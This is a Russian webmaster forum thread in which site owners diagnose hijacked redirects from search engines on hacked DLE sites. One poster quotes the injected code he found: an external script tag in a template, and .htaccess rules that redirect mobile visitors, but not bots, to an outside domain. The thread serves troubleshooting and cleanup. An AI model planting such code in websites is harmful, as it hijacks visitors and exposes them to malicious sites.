Непонятный редирект от гугла и яндекса

12 3
I0
На сайте с 13.05.2011
Offline
2
7379

Здравствуйте, я прошу вас помочь мне с одной непонятной и непредвиденной проблемой.

Когда мои пользователи переходят через google или yandex на мой сайт, их перекидывает редиректом на некий сайт:

http://shara.findpoiskfile.ru/results.php?notds=1&query=azblok

Мой сайт - http://azblok.net , когда просто заходишь на сайт, никаких редиректов не происходит.

А вот с переходов постоянно непонятные редиректы.

Для примера попробуйте набрать в google.ru слово азблок и откройте первый в списке сайт, вас перекинет на тот сайт непонятно откуда появившийся.

Заранее спасибо за помощь!

[Удален]
#1

вас походу ломанули и засунули какой нить скрипт в шаблон, либо даже через sql. проверяйте файлы шаблоны антивирусником, может найдет подозрительный код

denis2011 добавил 20.07.2011 в 10:49

или я бы даже посоветовал проверить ваши js скрипты, в которых обычно суют в конце скрипта коды. либо ваш кликандер просто редиректит часть посетителей.

I0
На сайте с 13.05.2011
Offline
2
#2

Я тоже так думал, но почему только при переходе с гугла или яндекса? В коде нет ничего подобного даже.

Проверял все файлы, js, php, файлы шаблонов. Нигде подобных адресов нет...

[Удален]
#3

а у вас не стоят коды типо от стимул профит? т.к. сейчас меня перекинуло на один из сайтов по скачиванию файлов платников. и от какой партнерки у вас стоит кликандер?

I0
На сайте с 13.05.2011
Offline
2
#4

Кликандер traforet.ru, вроде платит и всё ок.

Я сейчас его отключил, посмотрим, от него это или нет...

Вроде бы не от него, без кликандера тоже перекатывает на этот сайт....

[Удален]
#5

один фиг перекидывает. чет я даже не успеваю глянуть какой код или адрес вызывает редирект.

I0
На сайте с 13.05.2011
Offline
2
#6

Заметьте, в адресе на сайте, на который перекидывает, "query" (запрос) является ключевым словом, с которым я перешёл на свой сайт.

[Удален]
#7

да это я заметил=)

denis2011 добавил 20.07.2011 в 11:07

отключи модуль Переходы, посмотрим. в нем обычно бывают дыры хорошие.

denis2011 добавил 20.07.2011 в 11:12

попробуй на момент сменить шаблон на любой, желательно дефольтный, и зайди с пс, будет ли редирект. смотреть уже не могу, времени нет, а так пробуй все и делай выводы. про модули не забудь. и что ставил в последнее время и т.д.

I0
На сайте с 13.05.2011
Offline
2
#8

Убрал из index.php модуль переходы, закомментировал строчку

require_once ENGINE_DIR.'/modules/referer.php';

и уже нет редиректа, проверьте плиз вы тоже, если его нет, то точно дело в referer.php .

Я уже год как не добавлял и не удалял ни модули ни шаблоны и этот тупой непонятный редирект месяц как появился только... Видимо дело в модуле переходов, там видимо шелл есть, только вот копаюсь, не могу найти.

[Удален]
#9
ilkin007:
Убрал из index.php модуль переходы, закомментировал строчку

require_once ENGINE_DIR.'/modules/referer.php';

и уже нет редиректа, проверьте плиз вы тоже, если его нет, то точно дело в referer.php .


Я уже год как не добавлял и не удалял ни модули ни шаблоны и этот тупой непонятный редирект месяц как появился только... Видимо дело в модуле переходов, там видимо шелл есть, только вот копаюсь, не могу найти.

вот вот, сейчас гуд. не редиректит. так что аккуратней с модулями. про переходы писали, что есть опастность шела, там фикс какой-то даже предлагали. но себе устанавливать модуль даже не стал. Удачи!☝

X
На сайте с 20.07.2011
Offline
0
#10

Столкнулся с такой же проблемой, но к сожалению очень поздно понял в чём причина. Ещё в первых числах месяца посещаемость сайта резко просела с 1000+ посетителей в сутки до ~100. Я ничего не понимал, потому что по позициям в поисковых системах никаких ухудшений не было. Думал это временно, но через пару дней сайт полностью вылетел из Яндекса. Внешне с сайтом всё было впорядке, и видимо из-за своей неопытности, я только сегодня попытался зайти на сайт через гугл. Вбил запрос, перешёл на сайт и опа! Редирект! Начал искать что к чему, обнаружил что мой сайт был взломан и злоумышленники добавили в main.tpl шаблона:

<script src=http://promediagroup.ru/d.js></script>

Далее я нашёл ещё один неприятный момент, в .htaccess который располагается в корне сайта, было добавлено:

RewriteCond %{HTTP_USER_AGENT} MIDP [NC,OR]

RewriteCond %{HTTP_USER_AGENT} WAP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Windows.CE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Symbian [NC]

RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !ipad [NC]
RewriteCond %{HTTP_USER_AGENT} !android [NC]
RewriteCond %{HTTP_USER_AGENT} !iphone [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]

RewriteRule ^(.*)$ http://mobile-premium.com/opera?wkey=2475 [L,R=302]

Это приводило к тому, что все пользователи, которые заходили на сайт с телефонов, редиректились на другой сайт. Этот редирект работал не зависимо от того перешёл ты на сайт из поисковика или напрямую.

Избавляйся от проблемы, желаю удачи, помог чем смог.

И ещё вопрос. Сейчас в индексе Яндекса осталось только две страницы моего сайта, нужно ли куда-нибудь написать, чтобы сайт нормально проиндексировался? Боюсь что за такие редиректы на непонятные вредоносные сайты, на меня могли наложить какие-нибудь ограничения. И если всё-таки я попал под какой-нибудь фильтр, то как об этом узнать? Заранее спасибо тому, кто сможет дать грамотный ответ на вопросы.

12 3

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий